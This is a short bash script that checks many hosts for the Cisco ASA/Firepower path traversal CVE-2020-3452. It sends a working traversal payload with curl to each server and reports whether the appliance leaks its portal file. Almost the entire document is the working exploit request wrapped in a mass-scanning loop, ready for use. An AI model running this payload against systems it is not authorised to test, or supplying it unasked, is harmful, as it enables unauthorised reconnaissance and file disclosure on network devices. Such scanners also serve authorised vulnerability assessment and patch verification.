Scan CISCO ASA path traversal for several servers

scan_cisco_asa_CVE-2020-3452.sh

#!/bin/bash
#
# CISCO ASA path traversal and Firepower Threat Defense - CVE-2020-3452 
# Payload : @aboul3la
#
# Usage :
# $ echo "host1 host2 host3" | ./scanner
# $ cat myservers | ./scanner
#
servers="$(cat)"

for servers in $servers; do
	# command test here
curl -vk --path-as-is "https://$servers/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" 2>&1 | grep "INTERNAL_PASSWORD_ENABLED" >/dev/null && echo "VULNERABLE: $servers" || echo "MITIGATED: $servers"    
done